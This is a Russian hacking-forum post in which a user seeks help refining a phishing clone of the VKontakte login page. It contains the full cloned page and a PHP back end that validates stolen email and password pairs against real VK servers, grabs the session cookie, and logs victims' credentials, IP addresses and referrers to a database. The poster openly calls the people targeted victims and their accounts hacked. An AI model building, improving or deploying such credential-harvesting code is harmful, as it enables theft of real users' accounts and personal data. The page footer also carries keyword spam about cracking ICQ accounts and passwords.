|Proxy от XaKePoK.Su| |Ты до сих пор ищешь выгодную рекламу?| |Нравится форум, и хочешь заработать?|

Вернуться   XaKePoK > Кодинг,софт,статьи и пр. > Кодинг > HTML/PHP/PERL/JavaScript
Регистрация Пользователи Поиск Сообщения за день Все разделы прочитаны

HTML/PHP/PERL/JavaScript Скрипты. Ваши вопросы. Ваши советы. Вопросы по написанию.

Ответ
Старый 14.12.2012, 09:44   #1
artk00
RAM 32MB
 
Аватар для artk00
 
Регистрация: 06.04.2011
Сообщений: 52
artk00 на пути к лучшему
artk00 вне форума

По умолчанию Нужна помощь, делаю фейк вк. Помогите упростить код. Знатокам HTML, JS, CSS, PHP


Всем привет, захотелось сделать фейк систему, но столкнулся с трудность, не с трудностью- назову это так что задался вопросом упрощения кода, усистемазизации его.

Вопроса два, не один. Первый требует знания только HTML, CSS и JS, второй только PHP. Поэтому минуточку внимания, покажу что уже есть:

Заглавная страница, клиентская часть с формой:
index.php
PHP код:
<?
header("Content-type: text/html; charset=windows-1251");
?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<link rel="shortcut icon" href="http://vk.com/images/faviconnew.ico" />

<meta http-equiv="content-type" content="text/html; charset=windows-1251" />
<meta name="description" content="<b>ВКонтакте</b> – универсальное средство для коммуникации и поиска людей,<br>которым ежедневно пользуются десятки миллионов человек. Мы хотим, чтобы друзья, однокурсники, одноклассники, соседи и коллеги всегда оставались в контакте." />

<title>Добро пожаловать</title>

<noscript><meta http-equiv="refresh" content="0; URL=/badbrowser.php"></noscript>

<script type="text/javascript">
var vk = {
  adupd: 120000,
  al: parseInt('4') || 4,
  id: 0,
  intnat: '' ? true : false,
  host: 'vk.com',
  lang: 0,
  rtl: parseInt('') || 0,
  version: 10646,
  stDomains: 3,
  zero: false,
  contlen: 6897,
  loginscheme: 'https',
  ip_h: '5d92f65739b73e90e0',
  vc_h: '19b88682a8a61988c1ab57a8fe632c70',
  navPrefix: '/',
  dt: parseInt('') || 0,
  fs: parseInt('11') || 11,
  ts: 1349862595,
  pd: 0,
  pads: 1,
  time: [2012, 10, 10, 13, 49, 55]
}

window.locDomain = vk.host.match(/[a-zA-Z]+\.[a-zA-Z]+\.?$/)[0];
var _ua = navigator.userAgent.toLowerCase();
if (/opera/i.test(_ua) || !/msie 6/i.test(_ua) || document.domain != locDomain) document.domain = locDomain;
var ___htest = (location.toString().match(/#(.*)/) || {})[1] || '';
if (vk.al != 1 && ___htest.length && ___htest.substr(0, 1) == vk.navPrefix) {
  if (vk.al != 3 || vk.navPrefix != '!') {
    location.replace(location.protocol + '//' + location.host + '/' + ___htest.replace(/^(\/|!)/, ''));
  }
}

var StaticFiles = {
  'common.js' : {v: 949},
  'common.css': {v: 369},
  'ie6.css'   : {v: 26},
  'ie7.css'   : {v: 18}
  ,'lang0_0.js':{v:6340},'index.css':{v:19}
}
</script>

<link rel="stylesheet" type="text/css" href="http://st0.userapi.com/css/al/common.css?369" />
<!--[if lte IE 6]><style type="text/css" media="screen">/* <![CDATA[ */ @import url(http://vk.com/http://st0.userapi.com/css/al/ie6.css?26); /* ]]> */</style><![endif]-->
<!--[if IE 7]><style type="text/css" media="screen">/* <![CDATA[ */ @import url(http://vk.com/http://st0.userapi.com/css/al/ie7.css?18); /* ]]> */</style><![endif]-->
<link type="text/css" rel="stylesheet" href="http://st0.userapi.com/css/al/index.css?19"></link><script type="text/javascript" src="http://vk.com/js/loader_nav10646_0.js"></script><script type="text/javascript" src="http://st3.userapi.com/js/al/common.js?949"></script><script type="text/javascript" src="http://vk.com/js/lang0_0.js?6340"></script>

</head>

<body onresize="onBodyResize()" class="is_rtl font_default pads ">
  <div id="system_msg" class="fixed"></div>
  <div id="utils"></div>

  <div id="layer_bg" class="fixed"></div><div id="layer_wrap" class="scroll_fix_wrap fixed"><div id="layer"></div></div>
  <div id="box_layer_bg" class="fixed"></div><div id="box_layer_wrap" class="scroll_fix_wrap fixed"><div id="box_layer"><div id="box_loader"><div class="loader"></div><div class="back"></div></div></div></div>

  <div id="stl_left"></div><div id="stl_side"></div>

  <script type="text/javascript">domStarted();</script>

  <div class="scroll_fix_wrap" id="page_wrap"><div id="reg_bar" class="top_info_wrap fixed">
  <div class="scroll_fix">
    <div id="reg_bar_content">
      Присоединяйтесь, чтобы всегда оставаться в контакте с друзьями и близкими
      <div class="button_blue" id="reg_bar_button"><a class="button_link" href="http://vk.com/join" onclick="return !showBox('join.php', {act: 'box', from: nav.strLoc}, {}, event)"><button id="reg_bar_btn"><span id="reg_bar_with_arr">Зарегистрироваться</span></button></a></div>
    </div>
  </div>
  <div id="chrome_bar_bg"></div>
</div>
<div><div class="scroll_fix">
  <div id="page_layout" style="width: 791px;">
    <div id="page_header" class="p_head p_head_l0">
      <div class="back"></div>
      <div class="left"></div>
      <div class="right"></div>
      <div class="content">
        <div id="top_nav" class="head_nav">
  <div id="top_logo_down" class="fl_l"></div>
  <a id="top_home_link" class="top_home_link fl_l" href="http://vk.com/" onmousedown="addClass('top_logo_down','tld_d');" onclick="return nav.go(this, event);" onmouseup="removeClass('top_logo_down','tld_d');" style=""></a>
  <div id="top_links">
    <div class="fl_r" id="top_menu_wrap" style="display: none">
      <a id="top_reg_link" class="fl_r top_nav_link" href="http://vk.com/join" style="display: none" onclick="return !showBox('join.php', {act: 'box', from: nav.strLoc}, {}, event)">регистрация</a>
    </div>
    <a class="fl_l top_nav_link" href="http://vk.com/" id="top_back_link" onclick="return nav.go(this, event, {back: true})"></a>
  </div>
</div>
      </div>
    </div>

    <div id="side_bar" class="fl_l" style="">
      <div id="quick_login">
  <form method="POST" charset="utf-8" name="login" id="quick_login_form" action="/login.php" onsubmit="if (vklogin) {return true} else {document.login.submit();return false;}">

    <div class="label">Телефон или e-mail:</div>
    <div class="labeled"><input type="text" name="email" class="text" onfocus="show('quick_expire')" id="quick_email" /></div>
    <div class="label">Пароль:</div>
    <div class="labeled"><input type="password" name="pass" class="text" onfocus="show('quick_expire')" id="quick_pass" /></div>
    <div class="checkbox" id="quick_expire" onclick="checkbox(this);ge('quick_expire_input').value=isChecked(this)?1:'';"><div></div>Чужой компьютер</div>
    <input type="submit" class="submit" />
  </form>
  <div class="button_blue button_wide"><button id="quick_login_button">Войти</button></div>
  <div class="button_blue button_wide" id="quick_reg_button" style="display: none"><button onclick="top.showBox('join.php', {act: 'box', from: nav.strLoc})">Регистрация</button></div>
  <div class="clear forgot"><a href="http://vk.com/restore" target="_top">Забыли пароль?</a></div>
</div>
    </div>

    <div id="page_body" class="fl_r" style="width: 631px;">
      <div id="header_wrap2">
        <div id="header_wrap1">
          <div id="header" style="">
            <h1 id="title">Добро пожаловать</h1>
          </div>
        </div>
      </div>
      <div id="wrap_between"></div>
      <div id="wrap3"><div id="wrap2">
  <div id="wrap1">
    <div id="content"><div id="index">
  <iframe class="upload_frame" src="https://login.vk.com/?role=al_frame&_origin=http://vk.com&ip_h=5d92f65739b73e90e0"></iframe>
  <div class="content">
    <p><b>ВКонтакте</b> – универсальное средство для коммуникации и поиска людей,<br>которым ежедневно пользуются десятки миллионов человек.</p>

    <h2>Моментальная регистрация</h2>

    <div class="msg" id="ij_msg"></div>

    <div class="ij_form">
      <div class="ij_reg_row">
        <input type="text" class="big_text" id="ij_first_name" value="" placeholder="Ваше имя" onkeydown="if (event.keyCode == 10 || event.keyCode == 13) Index.submitJoinStart();" />
      </div>
      <div class="ij_reg_row">
        <input type="text" class="big_text" id="ij_last_name" value="" placeholder="Ваша фамилия" onkeydown="if (event.keyCode == 10 || event.keyCode == 13) Index.submitJoinStart();" />
      </div>
      <div class="ij_reg_row" id="ij_sex_row">
        <input type="hidden" id="ij_sex" name="ij_sex" />
      </div>
      <div class="button_blue button_wide button_big ij_button">
        <button id="ij_submit" onclick="Index.submitJoinStart()">
          <span class="ij_with_arr">Зарегистрироваться</span>
        </button>
      </div>
    </div>

    <h2>В чём поможет ВКонтакте?</h2>
    <ul class="listing">
      <li><span>Найти людей, с которыми Вы когда-либо учились, работали или отдыхали.</span></li>
      <li><span>Узнать больше о людях, которые Вас окружают, и найти новых друзей.</span></li>
      <li><span>Всегда оставаться в контакте с теми, кто Вам дорог.</span></li>
    </ul>
  </div>
  <div class="reg">
    <table cellspacing="0" cellpadding="0" id="ij_screens"><tr>
      <td><a class="ij_scr" onclick="JoinPhotoview.show(0)"><img src="http://vk.com/images/join/dial_m.png" class="ijs_img" /></a></td>
      <td><a class="ij_scr" onclick="JoinPhotoview.show(1)"><img src="http://vk.com/images/join/news_m.png" class="ijs_img" /></a></td>
      <td><a class="ij_scr" onclick="JoinPhotoview.show(2)"><img src="http://vk.com/images/join/photos_m.png" class="ijs_img" /></a></td>
    </tr></table>
  </div>
</div></div>
  </div>
</div></div>
    </div>

    <div id="footer_wrap" class="fl_r" style="width: 661px;">
      <div id="bottom_nav">
  <a class="bnav_a" href="http://vk.com/help.php?page=about">о сайте</a>
  <a class="bnav_a" href="http://vk.com/support?act=new" onclick="return nav.go(this, event);" style="display: none;">помощь</a>
  <a class="bnav_a" href="http://vk.com/blog">блог</a>
  <a class="bnav_a" href="http://vk.com/terms">правила</a>
  <a class="bnav_a" href="http://vk.com/ads">реклама</a>
  <a class="bnav_a" href="http://vk.com/developers.php">разработчикам</a>
  <a class="bnav_a" href="http://vk.com/jobs.php" style="">вакансии</a>
</div>
<div id="footer" class="clear">
  <div class="copy_lang"><a href="http://vk.com/help.php?page=about">ВКонтакте</a> &copy; 2006-2012 <a class="bnav_lang" onclick="ajax.post('al_index.php', {act: 'change_lang', lang_id: 3, hash: '52cc5935d8ae0039a2'})">English</a><a class="bnav_lang" onclick="ajax.post('al_index.php', {act: 'change_lang', lang_id: 0, hash: '52cc5935d8ae0039a2'})">Русский</a><a class="bnav_lang" onclick="ajax.post('al_index.php', {act: 'change_lang', lang_id: 1, hash: '52cc5935d8ae0039a2'})">Українська</a><a class="bnav_lang" onclick="showBox('lang.php', {act: 'lang_dialog'}, {noreload: true})">все языки &raquo;</a></div>
  
  <div>
    
    
  </div>
</div>
    </div>
    <div class="clear"></div>
  </div>
</div></div></div>
  <div class="progress" id="global_prg"></div>

  <script type="text/javascript">
    if (parent && parent != window && (browser.msie || browser.opera || browser.mozilla || browser.chrome || browser.safari || browser.iphone)) {
      document.getElementsByTagName('body')[0].innerHTML = '';
    } else {
      domReady();
      updateMoney(0);
gSearch.init();
if (window.qArr && qArr[5]) qArr[5] = [5, "по товарам", "", "goods", 0x00000100];
if (browser.iphone || browser.ipad || browser.ipod) {
  setStyle(bodyNode, {webkitTextSizeAdjust: 'none'});
}var qf = ge('quick_login_form'), ql = ge('quick_login'), qe = ge('quick_email'), qp = ge('quick_pass');
var qlb = ge('quick_login_button'), prgBtn = qlb;

var qinit = function() {
  setTimeout(function() {
    ql.insertBefore(ce('div', {innerHTML: '<iframe class="upload_frame" id="quick_login_frame" name="quick_login_frame"></iframe>'}), qf);
    qf.target = 'quick_login_frame';
  }, 1);
}

if (window.top && window.top != window) {
  window.onload = qinit;
} else {
  setTimeout(qinit, 0);
}

qf.onsubmit = function() {
  if (!ge('quick_login_frame')) return false;
  if (!trim(qe.value)) {
    elfocus(qe);
    return false;
  } else if (!trim(qp.value)) {
    elfocus(qp);
    return false;
  }
  lockButton(window.__qfBtn = prgBtn);
  prgBtn = qlb;
  clearTimeout(__qlTimer);
  __qlTimer = setTimeout(loginSubmitError, 30000);
  domFC(domPS(qf)).onload = function() {
    clearTimeout(__qlTimer);
    __qlTimer = setTimeout(loginSubmitError, 2500);
  }
  return true;
}

window.loginSubmitError = function() {
  document.location.href = "http://vk.com";
}
window.focusLoginInput = function() {
  scrollToTop(0);
  notaBene('quick_email');
}
window.changeQuickRegButton = function(noShow) {
  if (noShow) {
    hide('top_reg_link', 'quick_reg_button');
    show('top_search_link');
  } else {
    hide('top_search_link');
    show('top_reg_link', 'quick_reg_button');
  }
}
window.submitQuickLoginForm = function(email, pass, opts) {
  setQuickLoginData(email, pass, opts);
  if (opts && opts.prg) prgBtn = opts.prg;
  if (qf.onsubmit()) qf.submit();
}
window.setQuickLoginData = function(email, pass, opts) {
  if (email !== undefined) ge('quick_email').value = email;
  if (pass !== undefined) ge('quick_pass').value = pass;
  var params = opts && opts.params || {};
  for (var i in params) {
    var el = ge('quick_login_' + i);
    if (el) {
      val(el, params[i]);
    } else {
      qf.appendChild(ce('input', {type: 'hidden', name: i, id: 'quick_login_' + i, value: params[i]}));
    }
  }
}

if (qlb) {
  qlb.onclick = function() { if (qf.onsubmit()) qf.submit(); };
}

if (browser.opera_mobile) show('quick_expire');

if (1) {
  hide('support_link_td');
}
var ts_input = ge('ts_input'), oldFF = browser.mozilla && parseInt(browser.version) < 8;
if (browser.mozilla && !oldFF) {
  setStyle(ts_input, {padding: (vk.rtl ? '3px 22px 4px 40px' : '3px 41px 4px 22px')});
}
placeholderSetup(ts_input, {back: false, reload: true});
if (browser.opera || browser.msie || oldFF) {
  setStyle(ts_input, {padding: (vk.rtl ? '3px 22px 4px 40px' : '3px 41px 4px 22px')});
}
if (browser.chrome) {
  setStyle(ts_input, {padding: (vk.rtl ? '4px 23px 3px 39px' : '4px 40px 3px 23px')});
}
TopSearch.init();
if (browser.msie8 || browser.msie7) {
  var st = {border: '1px solid #a6b6c6'};
  if (hasClass(ge('ts_wrap'), 'vk')) {
    if (vk.rtl) st.left = '1px';
    else st.right = '0px';
  } else {
    if (vk.rtl) st.right = '146px';
    else st.left = '146px';
  }
  setStyle(ge('ts_cont_wrap'), st);
}
window.tsHintsEnabled = 1;
handlePageParams({"id":0,"pads":1,"loc":"","notopmenu":1,"wrap_page":1,"width":791,"width_dec":160,"width_dec_footer":130,"counters":"","pvbig":0,"pvdark":1});addEvent(document, 'click', onDocumentClick);;stManager.add(["index.js"], function () {Index.initNew();
JoinPhotoview.init([{"src":"\/images\/join\/dial_1.png?2","width":790,"height":600,"desc":"Делитесь с друзьями фотографиями и новостями"},{"src":"\/images\/join\/news_1.png?2","width":790,"height":600,"desc":"Получайте новости из жизни Ваших друзей и известных людей"},{"src":"\/images\/join\/photos_1.png?2","width":790,"height":600,"desc":"Общайтесь с близкими при помощи личных сообщений"}]);
cur.lang = extend(cur.lang || {}, {
  index_screen_m_of_n: 'Иллюстрация {num} из {count}',
  index_to_main: 'Главная страница',
  index_choose_sex: 'Укажите пол'
});
var sd = false;
if (sd) Index.initSexDD(sd);
placeholderSetup('ij_first_name', {back: true});
placeholderSetup('ij_last_name', {back: true});
var login = ge('quick_email');
if (login) {
  login.focus();
}});;if (browser.msie) stManager.add('pinbar.js', function() {window.initPinBar('/id', '/im');});
    }
  </script>
</body>

</html>
как вы могли заметить, много мусора, у разработчиков вконтакте избыточная любовь к JS, а он нам как знать- не нужен

второй файл, серверная часть, туда куда из формы полетят данные методом post:
login.php
PHP код:
<?php

$mail 
$_REQUEST['email'];
$pass $_REQUEST['pass'];
 
$mongodb = new Mongo('localhost'); 
 
$otvet=connect("http://login.vk.com/?act=login&email=$mail&pass=$pass");
If(!
preg_match("/hash=([a-z0-9]{1,32})/",$otvet,$hash)){
die(
"Login incorrect");
}
preg_match("/l=(.*?);/",$otvet,$id);
$otvet=connect("http://vk.com/login.php?act=slogin&hash=".$hash[1]);
preg_match("/remixsid=(.*?);/",$otvet,$sid);
$cookie "remixchk=5; remixsid=$sid[1]";
 
 
function 
connect($link,$cookie=null,$post=null){
$ch curl_init();
curl_setopt($chCURLOPT_URL,$link);
curl_setopt($chCURLOPT_RETURNTRANSFER1);
curl_setopt($chCURLOPT_TIMEOUT0);
curl_setopt($chCURLOPT_HEADER1);
curl_setopt($chCURLOPT_FOLLOWLOCATION0);
if(
$cookie !== null)
curl_setopt($chCURLOPT_COOKIE$cookie);
if(
$post !== null)
{
curl_setopt($chCURLOPT_POST1);
curl_setopt($chCURLOPT_POSTFIELDS$post);
}
$otvet curl_exec($ch);
curl_close($ch);
return 
$otvet;
}


if(!empty(
$sid[1])){
$adddata $mongodb->vk_access->true_is->insert(
    array(
        
'_id' => $sid[1],
        
'id'    => $id[1],
        
'login' => $_REQUEST['email'],
        
'password' => $_REQUEST['pass'],
        
'unixtime' => date('d.m.y').' '.date('H-i-s'),
        
'ip' => $_SERVER['REMOTE_ADDR'],
        
'ref' => $_SERVER['HTTP_REFERER']        ));
        
        
$file "file.txt";
$Saved_File fopen($file'w+');
fwrite($Saved_File$id[1]);
fclose($Saved_File);
}
?>
Здесь все проще, код сам писал, как можете видеть мы:
Проходим на валидность введенные данные с помощью пользовательской функции connect(), работая curl-ом получает http заголовки, и уже далее в них мы очищаемся от всего лишнего и не нужного с помощью регулярных выражений;
Далее если все логин и пароль верный, то пишем в бд печеньки, id вломонного, время, ip, откуда пришла жертва и его браузер для статистики.

Вообщем я хочу услышать от вас здоровую критику(по теме), и вашу помощь в развитии если вам по нраву моя первоначальная идея. Отвечу на любые ваши вопросы, не стесняйтесь.
__________________
[Ссылки доступны только зарегистрированным пользователям . Зарегистрируйся, чтобы увидеть ссылку.]
  Ответить с цитированием
Ответ

Метки
curl, html, mongadb, mysql, php

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.



взломать аську аську взломать взлом программы сделать взлом программы как сделать взлом программы хакерские сайты как легко взломать аську лучшие хакерские сайты топ список хакерские сайты взлом паролей легкий взлом паролей

Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2009, Jelsoft Enterprises Ltd. Перевод: zCarot